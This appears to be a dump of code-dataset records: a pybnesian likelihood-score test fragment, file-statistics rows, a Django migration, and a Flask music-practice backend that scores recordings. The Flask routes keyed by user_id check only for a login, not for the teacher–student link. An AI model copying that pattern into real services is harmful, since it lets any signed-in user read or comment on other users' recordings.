assert np.isclose(cvl.local_score(spbn, 'd', ['a', 'b', 'c']),
numpy_local_score(pbn.LinearGaussianCPDType(), df_null, 'd', ['a', 'b', 'c']))
assert np.isclose(cvl.local_score(spbn, 'd', ['a', 'b', 'c']),
numpy_local_score(pbn.LinearGaussianCPDType(), df_null, 'd', ['b', 'c', 'a']))
assert cvl.local_score(spbn, 'a') == cvl.local_score(spbn, 'a', spbn.parents('a'))
assert cvl.local_score(spbn, 'b') == cvl.local_score(spbn, 'b', spbn.parents('b'))
assert cvl.local_score(spbn, 'c') == cvl.local_score(spbn, 'c', spbn.parents('c'))
assert cvl.local_score(spbn, 'd') == cvl.local_score(spbn, 'd', spbn.parents('d'))
assert np.isclose(cvl.local_score_node_type(spbn, pbn.LinearGaussianCPDType(), 'a', []),
numpy_local_score(pbn.LinearGaussianCPDType(), df_null, 'a', []))
assert np.isclose(cvl.local_score_node_type(spbn, pbn.CKDEType(), 'b', ['a']),
numpy_local_score(pbn.CKDEType(), df_null, 'b', ['a']))
assert np.isclose(cvl.local_score_node_type(spbn, pbn.LinearGaussianCPDType(), 'c', ['a', 'b']),
numpy_local_score(pbn.LinearGaussianCPDType(), df_null, 'c', ['a', 'b']))
assert np.isclose(cvl.local_score_node_type(spbn, pbn.CKDEType(), 'd', ['a', 'b', 'c']),
numpy_local_score(pbn.CKDEType(), df_null, 'd', ['a', 'b', 'c']))
assert np.isclose(cvl.local_score_node_type(spbn, pbn.CKDEType(), 'd', ['a', 'b', 'c']),
numpy_local_score(pbn.CKDEType(), df_null, 'd', ['b', 'c', 'a']))
def test_cvl_score():
gbn = pbn.GaussianNetwork([('a', 'b'), ('a', 'c'), ('a', 'd'), ('b', 'c'), ('b', 'd'), ('c', 'd')])
cv = pbn.CVLikelihood(df, 10, 0)
assert np.isclose(cv.score(gbn), (
cv.local_score(gbn, 'a', []) +
cv.local_score(gbn, 'b', ['a']) +
cv.local_score(gbn, 'c', ['a', 'b']) +
cv.local_score(gbn, 'd', ['a', 'b', 'c'])))
spbn = pbn.SemiparametricBN([('a', 'b'), ('a', 'c'), ('a', 'd'), ('b', 'c'), ('b', 'd'), ('c', 'd')],
[('a', pbn.CKDEType()), ('c', pbn.CKDEType())])
assert np.isclose(cv.score(spbn), (
cv.local_score(spbn, 'a') +
cv.local_score(spbn, 'b') +
cv.local_score(spbn, 'c') +
cv.local_score(spbn, 'd')))
| 53.574661
| 126
| 0.561571
| 1,661
| 11,840
| 3.811559
| 0.074654
| 0.165851
| 0.13963
| 0.075817
| 0.817248
| 0.796715
| 0.763071
| 0.729427
| 0.719002
| 0.69057
| 0
| 0.009774
| 0.230912
| 11,840
| 221
| 127
| 53.574661
| 0.685482
| 0
| 0
| 0.551913
| 1
| 0
| 0.036568
| 0
| 0
| 0
| 0
| 0
| 0.300546
| 1
| 0.038251
| false
| 0
| 0.027322
| 0
| 0.071038
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
95c964c686e1c7a1385a48000e827bfec14e5e10
| 2,168
|
py
|
Python
|
mat_db/main/migrations/0044_alter_hosedynamic_dyn_e_min40_and_more.py
|
tkminek/material_database
|
8661617077192d20e8d9445cd6560bf1266f0582
|
[
"MIT"
] | null | null | null |
mat_db/main/migrations/0044_alter_hosedynamic_dyn_e_min40_and_more.py
|
tkminek/material_database
|
8661617077192d20e8d9445cd6560bf1266f0582
|
[
"MIT"
] | null | null | null |
mat_db/main/migrations/0044_alter_hosedynamic_dyn_e_min40_and_more.py
|
tkminek/material_database
|
8661617077192d20e8d9445cd6560bf1266f0582
|
[
"MIT"
] | null | null | null |
# Generated by Django 4.0.2 on 2022-03-11 12:40
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('main', '0043_alter_cycliccurve_k_alter_cycliccurve_n_and_more'),
]
operations = [
migrations.AlterField(
model_name='hosedynamic',
name='Dyn_E_min40',
field=models.FloatField(),
),
migrations.AlterField(
model_name='hosedynamic',
name='Dyn_E_plus100',
field=models.FloatField(),
),
migrations.AlterField(
model_name='hosedynamic',
name='Dyn_E_plus23',
field=models.FloatField(),
),
migrations.AlterField(
model_name='hosedynamic',
name='Dyn_nu_min40',
field=models.FloatField(default=0.495),
),
migrations.AlterField(
model_name='hosedynamic',
name='Dyn_nu_plus100',
field=models.FloatField(default=0.495),
),
migrations.AlterField(
model_name='hosedynamic',
name='Dyn_nu_plus23',
field=models.FloatField(default=0.495),
),
migrations.AlterField(
model_name='hosestatic',
name='Stat_E_min40',
field=models.FloatField(),
),
migrations.AlterField(
model_name='hosestatic',
name='Stat_E_plus100',
field=models.FloatField(),
),
migrations.AlterField(
model_name='hosestatic',
name='Stat_E_plus23',
field=models.FloatField(),
),
migrations.AlterField(
model_name='hosestatic',
name='Stat_nu_min40',
field=models.FloatField(default=0.495),
),
migrations.AlterField(
model_name='hosestatic',
name='Stat_nu_plus100',
field=models.FloatField(default=0.495),
),
migrations.AlterField(
model_name='hosestatic',
name='Stat_nu_plus23',
field=models.FloatField(default=0.495),
),
]
| 29.297297
| 74
| 0.54797
| 196
| 2,168
| 5.836735
| 0.229592
| 0.20979
| 0.262238
| 0.304196
| 0.84965
| 0.84965
| 0.84965
| 0.84965
| 0.770105
| 0.736888
| 0
| 0.04965
| 0.340406
| 2,168
| 73
| 75
| 29.69863
| 0.75035
| 0.020756
| 0
| 0.716418
| 1
| 0
| 0.15983
| 0.024988
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.014925
| 0
| 0.059701
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
95d389b8b3cd4f92af906c598bc410c211ec92b0
| 47,024
|
py
|
Python
|
server/app/app.py
|
vdslab/musicvis
|
eefc7759a9dc5fac57d08f914eaff4a126b654f9
|
[
"MIT"
] | null | null | null |
server/app/app.py
|
vdslab/musicvis
|
eefc7759a9dc5fac57d08f914eaff4a126b654f9
|
[
"MIT"
] | 11
|
2021-01-07T11:47:19.000Z
|
2021-06-08T22:53:10.000Z
|
server/app/app.py
|
vdslab/musicvis
|
eefc7759a9dc5fac57d08f914eaff4a126b654f9
|
[
"MIT"
] | null | null | null |
import io
import os
import json
import wave
from flask import Flask, jsonify, request, make_response, g
from flask_cors import CORS
from db import create_session
from models import Music, Comment, Folder, User, StudentTeacher
import numpy as np
import scipy.io.wavfile
from pylab import frombuffer
from scipy import signal
from collections import OrderedDict
import librosa
from dtw import dtw
from auth import requires_auth
import math
from dateutil.tz import gettz
import datetime
from pytz import timezone
from dateutil import parser
app = Flask(__name__)
cors = CORS(app)
@app.route('/users', methods=['GET'])
@requires_auth
def get_users():
session = create_session()
user_id = g.current_user['sub']
user = session.query(User).filter_by(
id=user_id).first()
if user == None:
user = User(id=user_id)
user.name = user_id
user.is_teacher = True
session.add(user)
session.commit()
session.close()
return jsonify(get_student_list(user_id))
def get_student_list(teacher_id):
session = create_session()
students = session.query(StudentTeacher).filter_by(
teacher_id=teacher_id).all()
data = []
for i in range(len(students)):
student = session.query(User).filter_by(
id=students[i].student_id).first()
data.append([student.id, student.name])
print(data)
session.close()
return data
@app.route('/student', methods=['POST'])
@requires_auth
def put_student():
session = create_session()
user_id = g.current_user['sub']
data = json.loads(request.data.decode('utf-8'))
if data != None:
student_teacher = session.query(StudentTeacher).filter_by(
teacher_id=user_id, student_id=data).first()
if student_teacher == None:
student_teacher = StudentTeacher(
teacher_id=user_id, student_id=data)
session.add(student_teacher)
session.commit()
session.close()
return jsonify(get_student_list(user_id))
@app.route('/<user_id>/folders', methods=['GET'])
@requires_auth
def get_student_folder(user_id):
session = create_session()
folders = session.query(Folder).filter_by(
user_id=user_id.replace("%", "|")).all()
folders = [f.to_json() for f in folders]
session.close()
return jsonify(folders)
@app.route('/<user_id>/folders/<folder_id>', methods=['GET'])
@requires_auth
def get_student_folder_musics(user_id, folder_id):
session = create_session()
"""
user = session.query(User).filter_by(
name=user_name).first()
"""
folder = session.query(Folder).filter_by(
user_id=user_id.replace("%", "|"), id=folder_id).first()
musics = session.query(Music).filter_by(
user_id=user_id.replace("%", "|"), folder_id=folder.id).all()
musics = [music.to_json() for music in musics]
musics = sorted(musics, key=lambda x: x['created'], reverse=True)
return jsonify(musics)
@app.route('/<user_id>/folders/<folder_id>/progress', methods=['GET'])
@requires_auth
def get_students_folder_progress(user_id, folder_id):
session = create_session()
musics = session.query(Music).filter_by(
user_id=user_id.replace("%", "|"), folder_id=folder_id).order_by(Music.id).all()
Datas = []
for music in musics:
Datas.append([music.id, frequency_ave_data(music), spectrum_rolloff_ave(
music), decibel_ave_data(music)])
for i in range(len(Datas)):
Datas[i].append(Datas[i][1][0]+Datas[i][3][0] + Datas[i][2][0])
dicDatas = []
j = 1
for i in range(len(Datas)-1, -1, -1):
dic = {
"x": j,
"y": round(Datas[i][4], 4)
}
dicDatas.append(dic)
j += 1
session.close()
dicDatas = sorted(dicDatas, key=lambda x: x["x"], reverse=True)
return jsonify(dicDatas)
@app.route('/<user_id>/folders/<folder_id>/parallel', methods=['GET'])
@requires_auth
def get_student_folders_parallel(user_id, folder_id):
session = create_session()
musics = session.query(Music).filter_by(
user_id=user_id.replace("%", "|"), folder_id=folder_id).order_by(Music.id).all()
Datas = []
for music in musics:
Datas.append([music.id, frequency_ave_data(music), spectrum_rolloff_ave(
music), decibel_ave_data(music)])
for i in range(len(Datas)):
Datas[i].append(Datas[i][1][0]+Datas[i][3][0] + Datas[i][2][0])
dicDatas = []
j = 1
for i in range(len(Datas)-1, -1, -1):
if j > 10:
break
dic = {
"No.": j,
"高さ": Datas[i][1][0],
"音色": Datas[i][2][0],
"強さ": Datas[i][3][0],
}
j += 1
dicDatas.append(dic)
dicDatas = sorted(dicDatas, key=lambda x: x["No."], reverse=True)
session.close()
return jsonify(dicDatas)
@app.route('/<user_id>/folders/<folder_id>/f0', methods=['GET'])
@requires_auth
def get_student_folder_f0(user_id, folder_id):
session = create_session()
user_id = user_id.replace("%", "|")
musics = session.query(Music).filter_by(
folder_id=folder_id, user_id=user_id).all()
preData = []
for music in musics:
data = dtw_frequency_data(music)
start, end = find_start_end(music)
data = trim(data, start, end)
data = np.array(data)
data = np.nan_to_num(data)
preData.append(data)
Datas = []
if len(preData) == 1:
data = []
d = list(preData[0])
for i in range(len(d)):
dic = {
"x": i+1,
"y": d[i]
}
data.append(dic)
#Datas.append({"id": musics[0].id, "data": data})
Datas.append({"id": 1, "data": data})
else:
l = len(preData)-1
for i in range(len(preData)):
print(len(preData[i]))
for i in range(1, len(preData)):
alignment = dtw(preData[0], preData[i], keep_internals=True)
if i == 1:
aliged_data = preData[0][alignment.index1]
aliged_data = list(aliged_data)
data = []
for j in range(len(aliged_data)):
dic = {
"x": j+1,
"y": aliged_data[j]
}
data.append(dic)
#Datas.append({"id": musics[0].id, "data": data})
Datas.append({"id": len(preData), "data": data})
aliged_data = preData[i][alignment.index2]
aliged_data = list(aliged_data)
data = []
for j in range(len(aliged_data)):
dic = {
"x": j+1,
"y": round(aliged_data[j], 4)
}
data.append(dic)
#Datas.append({"id": musics[i].id, "data": data})
Datas.append({"id": l, "data": data})
l -= 1
print("fin"+str(i))
print("finish")
session.close()
return jsonify(Datas)
@ app.route('/<user_id>/folders/<folder_id>/decibel', methods=['GET'])
@ requires_auth
def get_student_folder_decibel(user_id, folder_id):
session = create_session()
"""
user = session.query(User).filter_by(
name=user_name).first()
"""
user_id = user_id.replace("%", "|")
musics = session.query(Music).filter_by(folder_id=folder_id,
user_id=user_id).order_by(Music.id).all()
preData = []
for music in musics:
data = decibel_data(music)
start, end = find_start_end(music)
data = trim(data, start, end)
data = np.array(data)
preData.append(data)
Datas = []
if len(preData) == 1:
data = []
d = list(preData[0])
for i in range(len(d)):
dic = {
"x": i+1,
"y": str(d[i])
}
data.append(dic)
Datas.append({"id": 1, "data": data})
else:
l = len(preData)-1
for i in range(1, len(preData)):
alignment = dtw(preData[0], preData[i], keep_internals=True)
if i == 1:
aliged_data = preData[0][alignment.index1]
aliged_data = list(aliged_data)
data = []
for j in range(len(aliged_data)):
dic = {
"x": j+1,
"y": str(aliged_data[j])
}
data.append(dic)
Datas.append({"id": len(preData), "data": data})
aliged_data = preData[i][alignment.index2]
aliged_data = list(aliged_data)
data = []
for j in range(len(aliged_data)):
dic = {
"x": j+1,
"y": str(aliged_data[j])
}
data.append(dic)
Datas.append({"id": l, "data": data})
l -= 1
print("fin")
print("all clear")
session.close()
return jsonify(Datas)
@ app.route('/<user_id>/folders/<folder_id>/tone', methods=['GET'])
@ requires_auth
def get_student_folder_tone(user_id, folder_id):
session = create_session()
"""
user = session.query(User).filter_by(
name=user_name).first()
"""
user_id = user_id.replace("%", "|")
musics = session.query(Music).filter_by(
user_id=user_id, folder_id=folder_id).order_by(Music.id).all()
preData = []
for music in musics:
data = spectrum_rolloff_y(music)
start, end = find_start_end(music)
data = trim(data, start, end)
data = np.array(data)
preData.append(data)
Datas = []
if len(preData) == 1:
data = []
d = list(preData[0])
for i in range(len(d)):
dic = {
"x": i+1,
"y": str(d[i])
}
data.append(dic)
Datas.append({"id": 1, "data": data})
else:
l = len(preData)-1
for i in range(1, len(preData)):
alignment = dtw(preData[0], preData[i], keep_internals=True)
if i == 1:
aliged_data = preData[0][alignment.index1]
aliged_data = list(aliged_data)
data = []
for j in range(len(aliged_data)):
dic = {
"x": j+1,
"y": str(aliged_data[j])
}
data.append(dic)
Datas.append({"id": len(preData), "data": data})
aliged_data = preData[i][alignment.index2]
aliged_data = list(aliged_data)
data = []
for j in range(len(aliged_data)):
dic = {
"x": j+1,
"y": str(aliged_data[j])
}
data.append(dic)
Datas.append({"id": l, "data": data})
l -= 1
print("fin")
print("all clear")
session.close()
return jsonify(Datas)
@app.route('/<user_id>/musics/<music_id>/content', methods=['GET'])
@requires_auth
def get_student_music_content(user_id, music_id):
session = create_session()
"""
user = session.query(User).filter_by(
name=user_name).first()
"""
user_id = user_id.replace("%", "|")
print(user_id)
response = make_response()
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
print(music)
if music != None:
response.data = music.content
response.mimetype = "audio/wav"
session.close()
return response
@ app.route('/<user_id>/musics/<music_id>/f0', methods=['GET'])
@ requires_auth
def get_student_music_f0(user_id, music_id):
session = create_session()
"""
user = session.query(User).filter_by(
name=user_name).first()
"""
user_id = user_id.replace("%", "|")
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
f0 = music.fundamental_frequency(session)
average = frequency_ave_data(music)
start, end = find_start_end(music)
data = []
j = 0
if end < len(f0)-2:
end += 1
for i in range(max(0, start), end):
if f0[i] >= 0:
dic = {
"x": j,
"y": round(f0[i], 4)
}
else:
dic = {
"x": i+1,
"y": 0
}
j += 1
data.append(dic)
session.close()
return jsonify({
'average': average[1],
's': average[0],
'values': data
})
@ app.route('/<user_id>/musics/<music_id>/decibel', methods=['GET'])
@ requires_auth
def get_student_music_decibel(user_id, music_id):
session = create_session()
"""
user = session.query(User).filter_by(
name=user_name).first()
"""
user_id = user_id.replace("%", "|")
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
rate, data = scipy.io.wavfile.read(io.BytesIO(music.content))
data = data.astype(np.float)
S = np.abs(librosa.stft(data))
db = librosa.amplitude_to_db(S, ref=np.max)
dbLine = []
for i in range(len(db[0])):
_max = -20
for j in range(len(db)):
if _max <= db[j][i]:
_max = db[j][i]
dbLine.append(_max)
start = 0
end = 0
for i in range(len(dbLine)):
if dbLine[i] > -20:
start = i
break
for i in range(len(dbLine)-1, -1, -1):
if dbLine[i] > -20:
end = i
break
data = []
j = 0
if end < len(dbLine)-2:
end += 1
for i in range(start, end):
dic = {
"x": j,
"y": round(dbLine[i], 4)
}
data.append(dic)
j += 1
average = decibel_ave_data(music)
session.close()
return jsonify({'average': average[1], 's': average[0], 'values': data})
@ app.route('/<user_id>/musics/<music_id>/centroid', methods=['GET'])
@ requires_auth
def get_student_music_spectrum_centroid(user_id, music_id):
session = create_session()
"""
user = session.query(User).filter_by(
name=user_name).first()
"""
user_id = user_id.replace("%", "|")
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
return jsonify({
'values': spectrum_centroid(music)
})
@ app.route('/<user_id>/musics/<music_id>/rolloff', methods=['GET'])
@ requires_auth
def get_student_music_spectrum_rolloff(user_id, music_id):
session = create_session()
"""
user = session.query(User).filter_by(
name=user_name).first()
"""
user_id = user_id.replace("%", "|")
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
average = spectrum_rolloff_ave(music)
return jsonify({
'average': {"stability": average[1], 's': average[0]},
'values': spectrum_rolloff(music)
})
@app.route('/<user_id>/musics/<music_id>/comment', methods=['POST'])
@ requires_auth
def put_teacher_comment(user_id, music_id):
session = create_session()
teacher_id = g.current_user['sub']
teacher = session.query(User).filter_by(
id=teacher_id).first()
"""
student = session.query(User).filter_by(
name=user_name).first()
"""
student_id = user_id.replace("%", "|")
data = json.loads(request.data.decode('utf-8'))
comment = Comment(
music_id=music_id, text=data['comment'], user_id=student_id, writer=teacher.name)
session.add(comment)
session.commit()
session.close()
return jsonify("receive")
@ app.route('/<user_id>/musics/<music_id>/stability', methods=['GET'])
@ requires_auth
def get_student_folder_stability(user_id, music_id):
session = create_session()
"""
student = session.query(User).filter_by(
name=user_name).first()
"""
student_id = user_id.replace("%", "|")
music = session.query(Music).filter_by(
user_id=student_id, id=music_id).first()
f0_ave = frequency_ave_data(music)
vol_ave = decibel_ave_data(music)
tone_ave = spectrum_rolloff_ave(music)
data = {"f0": f0_ave[0], "vol": vol_ave[0], "tone": tone_ave[0],
"total": f0_ave[0]+vol_ave[0]+tone_ave[0]}
print(data)
return jsonify(data)
#########################################################
#########################################################
# 初回ログイン時にできるようにする
@app.route('/username', methods=['GET'])
@requires_auth
def get_username():
session = create_session()
user_id = g.current_user['sub']
user = session.query(User).filter_by(
id=user_id).first()
if user == None:
user = User(id=user_id)
user.name = "undefind"
session.add(user)
session.commit()
user = user.to_json()
session.close()
print(user)
return jsonify(user)
@app.route('/username', methods=['PUT'])
@requires_auth
def put_username():
session = create_session()
user_id = g.current_user['sub']
data = json.loads(request.data.decode('utf-8'))
user = session.query(User).filter_by(
id=user_id).first()
user.name = data["name"]
session.add(user)
session.commit()
user = user.to_json()
session.close()
return jsonify(user)
@app.route('/musics', methods=['GET'])
@requires_auth
def get_musics():
session = create_session()
user_id = g.current_user['sub']
musics = session.query(Music).filter_by(
user_id=user_id).order_by(Music.created.desc()).all()
musics = [music.to_json() for music in musics]
Days = []
for music in musics:
day = str(music['created'].year)+"/" + \
str(music['created'].month).zfill(2) + \
"/"+str(music['created'].day).zfill(2)
Days.append([day, 0])
session.close()
Days = list(map(list, set(map(tuple, Days))))
Days.sort(reverse=True)
data = {"music": musics, "day": Days}
return jsonify(data)
@ app.route('/musics', methods=['POST'])
@ requires_auth
def post_music():
session = create_session()
user_id = g.current_user['sub']
music = Music(user_id=user_id)
music.content = request.data
session.add(music)
session.commit()
music = music.to_json()
session.close()
return jsonify(music)
@ app.route('/musics/<music_id>', methods=['GET'])
@ requires_auth
def get_music(music_id):
session = create_session()
user_id = g.current_user['sub']
music = session.query(Music).filter_by(
id=music_id, user_id=user_id).first()
music = music.to_json()
print(music)
if music["assessment"] == None:
music["assessment"] = 0
print(music)
session.close()
return jsonify(music)
@ app.route('/musics/<music_id>', methods=['PUT'])
@ requires_auth
def put_music(music_id):
session = create_session()
user_id = g.current_user['sub']
data = json.loads(request.data.decode('utf-8'))
music = session.query(Music).filter_by(
id=music_id, user_id=user_id).first()
if 'name' in data:
music.name = data['name']
if 'folderId' in data:
music.folder_id = data['folderId']
session.commit()
music = music.to_json()
session.close()
return jsonify(music)
@ app.route('/musics/<music_id>', methods=['DELETE'])
@ requires_auth
def delete_music(music_id):
session = create_session()
user_id = g.current_user['sub']
session.query(Music).filter_by(id=music_id, user_id=user_id).delete()
session.commit()
session.close()
return jsonify({'message': 'deleted'})
@ app.route('/musics/<music_id>/content', methods=['GET'])
@ requires_auth
def get_music_content(music_id):
session = create_session()
user_id = g.current_user['sub']
response = make_response()
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
if music == None:
return jsonify("no content")
response.data = music.content
response.mimetype = "audio/wav"
session.close()
return response
@ app.route('/musics/<music_id>/content', methods=['PUT'])
@ requires_auth
def put_music_content(music_id):
session = create_session()
user_id = g.current_user['sub']
data = json.loads(request.data.decode('utf-8'))
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
if 'name' in data:
music.name = data['name']
if 'folderId' in data:
music.folder_id = data['folderId']
if 'assessment' in data:
music.assessment = data['assessment']
if 'comment' in data:
comment = Comment(music_id=music_id,
text=data['comment'], user_id=user_id)
session.add(comment)
music.name = music.created
jst_time = music.name + datetime.timedelta(hours=9)
time_str = jst_time.strftime('%Y/%m/%d %H:%M:%S')
music.name = time_str
time_str = jst_time
session.add(music)
session.commit()
session.close()
return {"message": "updated"}
# 曲ごとのコメントのリストを返す
@ app.route('/musics/<music_id>/comments', methods=['GET'])
@ requires_auth
def get_comment(music_id):
session = create_session()
user_id = g.current_user['sub']
comments = session.query(Comment).filter_by(
music_id=music_id, user_id=user_id).all()
comments = [c.to_json() for c in comments]
session.close()
return jsonify(comments)
@ app.route('/musics/<music_id>/comments', methods=['POST'])
@ requires_auth
def post_comment(music_id):
session = create_session()
user_id = g.current_user['sub']
data = json.loads(request.data.decode('utf-8'))
comment = Comment(music_id=music_id, text=data['item'], user_id=user_id)
session.add(comment)
session.commit()
return get_comment(music_id)
@ app.route('/musics/<music_id>/assesment', methods=['PUT'])
@ requires_auth
def put_assesment(music_id):
session = create_session()
user_id = g.current_user['sub']
data = json.loads(request.data.decode('utf-8'))
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
music.assessment = data
print(data, music.assessment)
session.add(music)
session.commit()
music = music.to_json()
print(music)
return jsonify(music)
# フォルダのリストを返す
@ app.route('/folders', methods=['GET'])
@ requires_auth
def get_folders():
session = create_session()
user_id = g.current_user['sub']
folders = session.query(Folder).filter_by(user_id=user_id).all()
# 初期フォルダーの作成
if len(folders) == 0:
folder = Folder(name="ロングトーン", user_id=user_id)
session.add(folder)
folder = Folder(name="スケール", user_id=user_id)
session.add(folder)
folder = Folder(name="アルペジオ", user_id=user_id)
session.add(folder)
session.commit()
folders = session.query(Folder).filter_by(user_id=user_id).all()
folders = [f.to_json() for f in folders]
session.close()
return jsonify(folders)
# フォルダの追加
@ app.route('/folders', methods=['POST'])
@ requires_auth
def post_folder():
session = create_session()
user_id = g.current_user['sub']
data = json.loads(request.data.decode('utf-8'))
folder = Folder(name=data['name'], user_id=user_id)
session.add(folder)
session.commit()
folder = folder.to_json()
session.close()
return jsonify(folder)
@ app.route('/folders/<folder_id>', methods=['GET'])
@ requires_auth
def get_folder(folder_id):
session = create_session()
user_id = g.current_user['sub']
folder = session.query(Folder).filter_by(
id=folder_id, user_id=user_id).first()
print(folder)
if folder != None:
folder = folder.to_json()
print(folder)
session.commit()
session.close()
return jsonify(folder)
@ app.route('/folders/<folder_id>', methods=['PUT'])
@ requires_auth
def put_folder(folder_id):
session = create_session()
user_id = g.current_user['sub']
data = json.loads(request.data.decode('utf-8'))
folder = session.query(Folder).filter_by(
id=folder_id, user_id=user_id).first()
if 'name' in data:
folder.name = data['name']
session.commit()
folder = folder.to_json()
session.close()
return jsonify(folder)
@ app.route('/folders/<folder_id>', methods=['DELETE'])
@ requires_auth
def delete_folder(folder_id):
session = create_session()
user_id = g.current_user['sub']
session.query(Music).filter_by(
folder_id=folder_id, user_id=user_id).delete()
session.query(Folder).filter_by(id=folder_id, user_id=user_id).delete()
session.commit()
session.close()
return jsonify({'message': 'deleted'})
@ app.route('/folders/<folder_id>/musics', methods=['GET'])
@ requires_auth
def get_folder_musics(folder_id):
session = create_session()
user_id = g.current_user['sub']
musics = session.query(Music).filter_by(
folder_id=folder_id, user_id=user_id).all()
musics = [m.to_json() for m in musics]
musics = sorted(musics, key=lambda x: x['created'], reverse=True)
session.close()
return jsonify(musics)
@ app.route('/comments/<comment_id>', methods=['DELETE'])
@ requires_auth
def delete_comment(comment_id):
session = create_session()
user_id = g.current_user['sub']
session.query(Comment).filter_by(id=comment_id, user_id=user_id).delete()
session.commit()
session.close()
return {"message": "deleted"}
@ app.route('/folders/<folder_id>/f0', methods=['GET'])
@ requires_auth
def get_folder_f0(folder_id):
session = create_session()
user_id = g.current_user['sub']
musics = session.query(Music).filter_by(
folder_id=folder_id, user_id=user_id).all()
preData = []
for music in musics:
data = dtw_frequency_data(music)
start, end = find_start_end(music)
data = trim(data, start, end)
data = np.array(data)
data = np.nan_to_num(data)
preData.append(data)
Datas = []
if len(preData) == 1:
data = []
d = list(preData[0])
for i in range(len(d)):
dic = {
"x": i+1,
"y": d[i]
}
data.append(dic)
Datas.append({"id": 1, "data": data})
# Datas.append({"id": musics[0].id, "data": data})
else:
l = len(preData)-1
for i in range(len(preData)):
print(len(preData[i]))
for i in range(1, len(preData)):
alignment = dtw(preData[0], preData[i], keep_internals=True)
if i == 1:
aliged_data = preData[0][alignment.index1]
aliged_data = list(aliged_data)
data = []
for j in range(len(aliged_data)):
dic = {
"x": j+1,
"y": aliged_data[j]
}
data.append(dic)
Datas.append({"id": len(preData), "data": data})
#Datas.append({"id": musics[0].id, "data": data})
aliged_data = preData[i][alignment.index2]
aliged_data = list(aliged_data)
data = []
for j in range(len(aliged_data)):
dic = {
"x": j+1,
"y": round(aliged_data[j], 4)
}
data.append(dic)
#Datas.append({"id": musics[i].id, "data": data})
Datas.append({"id": l, "data": data})
l -= 1
print("fin"+str(i))
print("finish")
session.close()
return jsonify(Datas)
# parallelCoordinates
@ app.route('/folders/<folder_id>/parallel', methods=['GET'])
@ requires_auth
def get_folders_parallel(folder_id):
session = create_session()
user_id = g.current_user['sub']
musics = session.query(Music).filter_by(
user_id=user_id, folder_id=folder_id).order_by(Music.id).all()
Datas = []
for music in musics:
Datas.append([music.id, frequency_ave_data(music), spectrum_rolloff_ave(
music), decibel_ave_data(music)])
for i in range(len(Datas)):
Datas[i].append(Datas[i][1][0]+Datas[i][3][0] + Datas[i][2][0])
#Datas = sorted(Datas, key=lambda x: x[4])
dicDatas = []
j = 1
# for i in range(len(Datas)):
for i in range(len(Datas)-1, -1, -1):
if j > 10:
break
dic = {
# "No.": Datas[i][0],
"No.": j,
"高さ": Datas[i][1][0],
"強さ": Datas[i][2][0],
"音色": Datas[i][3][0],
}
j += 1
dicDatas.append(dic)
dicDatas = sorted(dicDatas, key=lambda x: x["No."], reverse=True)
session.close()
return jsonify(dicDatas)
# 精進グラフ
@ app.route('/folders/<folder_id>/progress', methods=['GET'])
@ requires_auth
def get_folder_progress(folder_id):
session = create_session()
user_id = g.current_user['sub']
musics = session.query(Music).filter_by(
user_id=user_id, folder_id=folder_id).order_by(Music.id).all()
Datas = []
for music in musics:
Datas.append([music.id, frequency_ave_data(music), spectrum_rolloff_ave(
music), decibel_ave_data(music)])
for i in range(len(Datas)):
Datas[i].append(Datas[i][1][0]+Datas[i][3][0] + Datas[i][2][0])
dicDatas = []
j = 1
for i in range(len(Datas)-1, -1, -1):
dic = {
# "x": Datas[i][0],
"x": j,
"y": round(Datas[i][4], 4)
}
dicDatas.append(dic)
j += 1
dicDatas = sorted(dicDatas, key=lambda x: x["x"], reverse=True)
session.close()
return jsonify(dicDatas)
# デシベル値
@ app.route('/musics/<music_id>/decibel', methods=['GET'])
@ requires_auth
def get_music_decibel(music_id):
session = create_session()
user_id = g.current_user['sub']
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
rate, data = scipy.io.wavfile.read(io.BytesIO(music.content))
data = data.astype(np.float)
S = np.abs(librosa.stft(data))
db = librosa.amplitude_to_db(S, ref=np.max)
times = librosa.times_like(db, sr=48000)
print("len", times)
print(times)
dbLine = []
for i in range(len(db[0])):
_max = -20
for j in range(len(db)):
if _max <= db[j][i]:
_max = db[j][i]
dbLine.append(_max)
start = 0
end = 0
for i in range(len(dbLine)):
if dbLine[i] > -20:
start = i
break
for i in range(len(dbLine)-1, -1, -1):
if dbLine[i] > -20:
end = i
break
data = []
if end < len(dbLine)-2:
end += 1
j = 0
for i in range(start, end):
dic = {
# "x": j,
"x": round(times[i], 2),
"y": round(dbLine[i], 4)
}
data.append(dic)
j += 1
average = decibel_ave_data(music)
session.close()
return jsonify({'average': average[1], 's': average[0], 'values': data})
def decibel_data(music):
rate, data = scipy.io.wavfile.read(io.BytesIO(music.content))
data = data.astype(np.float)
S = np.abs(librosa.stft(data))
db = librosa.amplitude_to_db(S, ref=np.max)
dbLine = []
for i in range(len(db[0])):
_max = -80 # トリミングデシベル値設定
for j in range(len(db)):
if _max < db[j][i]:
_max = db[j][i]
dbLine.append(_max)
return dbLine
def find_start_end(music):
decibelData = decibel_data(music)
start = 0
end = 0
for i in range(len(decibelData)):
if decibelData[i] > -20:
start = i
break
for i in range(len(decibelData)-1, -1, -1):
if decibelData[i] > -20:
end = i
break
return [start, end]
def decibel_ave_data(music):
rate, data = scipy.io.wavfile.read(io.BytesIO(music.content))
data = data.astype(np.float)
S = np.abs(librosa.stft(data))
